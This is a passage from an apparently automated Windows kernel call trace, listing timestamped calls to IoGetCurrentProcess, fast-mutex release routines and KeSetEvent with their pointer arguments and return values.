ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.535] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0266.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.666] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.666] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0266.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0267.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0267.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0267.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0267.066] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0269.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0269.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0269.519] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0269.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0269.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0269.878] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0269.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0269.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0269.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0269.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0270.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.550] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0272.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.737] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.738] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0272.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0273.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0273.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0273.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0273.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0273.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0273.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0274.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0274.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0274.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0274.973] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0275.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.160] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.667] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.667] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0275.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.300] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0276.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 